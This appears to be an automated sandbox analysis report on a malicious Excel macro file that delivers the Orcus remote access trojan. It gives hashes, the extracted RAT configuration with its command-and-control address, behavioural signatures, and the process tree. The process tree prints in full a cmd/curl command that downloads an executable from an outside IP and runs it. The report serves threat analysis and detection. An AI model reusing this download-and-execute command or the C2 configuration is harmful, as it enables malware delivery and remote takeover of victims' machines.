Analysis
-
max time kernel
48s -
max time network
50s -
platform
windows10-ltsc 2021_x64 -
resource
win10ltsc2021-20250128-en -
resource tags
-
submitted
01-02-2025 01:43
General
-
Target
Guardian Q&A.xlsm
-
Size
3.7MB
-
MD5
f9379219193a6ad229cb99ea103240cc
-
SHA1
d7776b47f7d16e66d52ff3d2cda8af982f713ea4
-
SHA256
8258c96fcb836d6b29aa90529835ed1ee4fe6143bb5221459fe5e4a81b18d2e6
-
SHA512
c8fcb2db9ecdc4aa7aefd42fc003f8bd8c2a60d1ee59a4a6d573c422812b861487b0c79fd99de4e773afa60ddd4b36a5ee447089a382ddfdfce4ffa82e661a76
-
SSDEEP
98304:JjD7OuWRWu3nj7fH2a6AuxvczmQjj+xwT+aNaHmt:JjOuaWu3H2a6xeOMwmt
Malware Config
Extracted
orcus
195.88.218.126:10134
10dc32abacca449b81dcabfd916e9f3f
-
autostart_method
Disable
-
enable_keylogger
false
-
install_path
%programfiles%\Orcus\Orcus.exe
-
reconnect_delay
10000
-
registry_keyname
Orcus
-
taskscheduler_taskname
Orcus
-
watchdog_path
AppData\OrcusWatchdog.exe
Signatures
-
Orcus
Orcus is a Remote Access Trojan that is being sold on underground forums.
-
Orcus family
-
Orcus main payload 1 IoCs
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Orcurs Rat Executable 2 IoCs
-
Downloads MZ/PE file 1 IoCs
-
Executes dropped EXE 1 IoCs
-
Loads dropped DLL 10 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Enumerates system info in registry 2 TTPs 3 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of FindShellTrayWindow 2 IoCs
-
Suspicious use of SetWindowsHookEx 14 IoCs
-
Suspicious use of WriteProcessMemory 7 IoCs
-
cURL User-Agent 1 IoCs
Uses User-Agent string associated with cURL utility.
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Guardian Q&A.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /V /C "set u=http://195.88.218.126:8000/Guardian.exe&set p=C:\Users\Admin\AppData\Local\Temp\Guardian.exe&curl --insecure -o !p! !u! && start !p!"2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl --insecure -o C:\Users\Admin\AppData\Local\Temp\Guardian.exe http://195.88.218.126:8000/Guardian.exe3⤵
- Downloads MZ/PE file
-
-
C:\Users\Admin\AppData\Local\Temp\Guardian.exeC:\Users\Admin\AppData\Local\Temp\Guardian.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
903KB
MD57735277130eafeaa269fee4b3c00f2bb
SHA157ae0c9d4a0f17730be54aa7dc7b808e32335101
SHA25649d0bfca5b66fc459c26eec5d98bb98efd72f3a6d0ac64141ec7eb65e3983ec7
SHA512a1807a81868d2464cd32949d30e11dc54710a6890bc6cffecfb3a83808a4468c8ddd090b9a412c094ca3138fe3fab21eb00b869e0b573c20a5c6435c14c5e59c
-
Filesize
125KB
MD52b44c70c49b70d797fbb748158b5d9bb
SHA193e00e6527e461c45c7868d14cf05c007e478081
SHA2563762d43c83af69cd38c9341a927ca6bd00f6bae8217c874d693047d6df4705bf
SHA512faced62f6ecbfa2ee0d7a47e300302d23030d1f28758cbe9c442e9d8d4f8359c59088aa6237a28103e43d248c8efc7eeaf2c184028701b752df6cce92d6854d0
-
Filesize
271KB
MD598eb5ba5871acdeaebf3a3b0f64be449
SHA1c965284f60ef789b00b10b3df60ee682b4497de3
SHA256d7617d926648849cbfef450b8f48e458ee52e2793fb2251a30094b778aa8848c
SHA512a60025e304713d333e4b82b2d0be28087950688b049c98d2db5910c00b8d45b92e16d25ac8a58ff1318de019de3a9a00c7cbf8a6ad4b5bb1cb175dafa1b9bea2
-
Filesize
338KB
MD5934da0e49208d0881c44fe19d5033840
SHA1a19c5a822e82e41752a08d3bd9110db19a8a5016
SHA25602da4af8cd4a8de19d816000caaae885e676b9e52f136ff071a279c2b8ad34c7
SHA512de62f629c2299b50af62893244a28895d63b78138c8632449984306f45de16bd01076eadbb0d75a700215e970c1df731e202ea640236c0f0da6ed15146193b59
-
Filesize
247KB
MD5ffb4b61cc11bec6d48226027c2c26704
SHA1fa8b9e344accbdc4dffa9b5d821d23f0716da29e
SHA256061542ff3fb36039b7bbffdf3e07b66176b264c1dfd834a14b09c08620717303
SHA51248aa6130bf1f5bd6de19256bbdf754c0158b43dd122cec47bb801a7a7b56f2da268bfdec24d135621764a23278ead3dcc35911a057e2dfa55a348bae8ef7b8a9
-
Filesize
1.3MB
MD5ac6acc235ebef6374bed71b37e322874
SHA1a267baad59cd7352167636836bad4b971fcd6b6b
SHA256047b042cebf4c851f0d14f85f16ce952f03e48c20362d4ed9390875d4900fe96
SHA51272ac8b8c8f27264cc261297c325d14a0be2084d007c6132ab8402d87f912fe9189cb074db11625d9f86d29a6188f22a89e58ae45c9131fac4522473567017081
-
Filesize
272KB
-
Filesize
72KB
-
Filesize
1.3MB
-
Filesize
152KB
-
Filesize
360KB
-
Filesize
296KB
-
Filesize
408KB
-
Filesize
1.8MB
-
Filesize
1.0MB
-
Filesize
304KB
-
Filesize
240KB
-
Filesize
72KB
-
Filesize
6.1MB
-
Filesize
368KB
-
Filesize
64KB
-
Filesize
96KB
-
Filesize
928KB
-
Filesize
56KB
-
Filesize
40KB
-
Filesize
5.6MB
-
Filesize
584KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
4KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
4KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
2.0MB
-
Filesize
2.0MB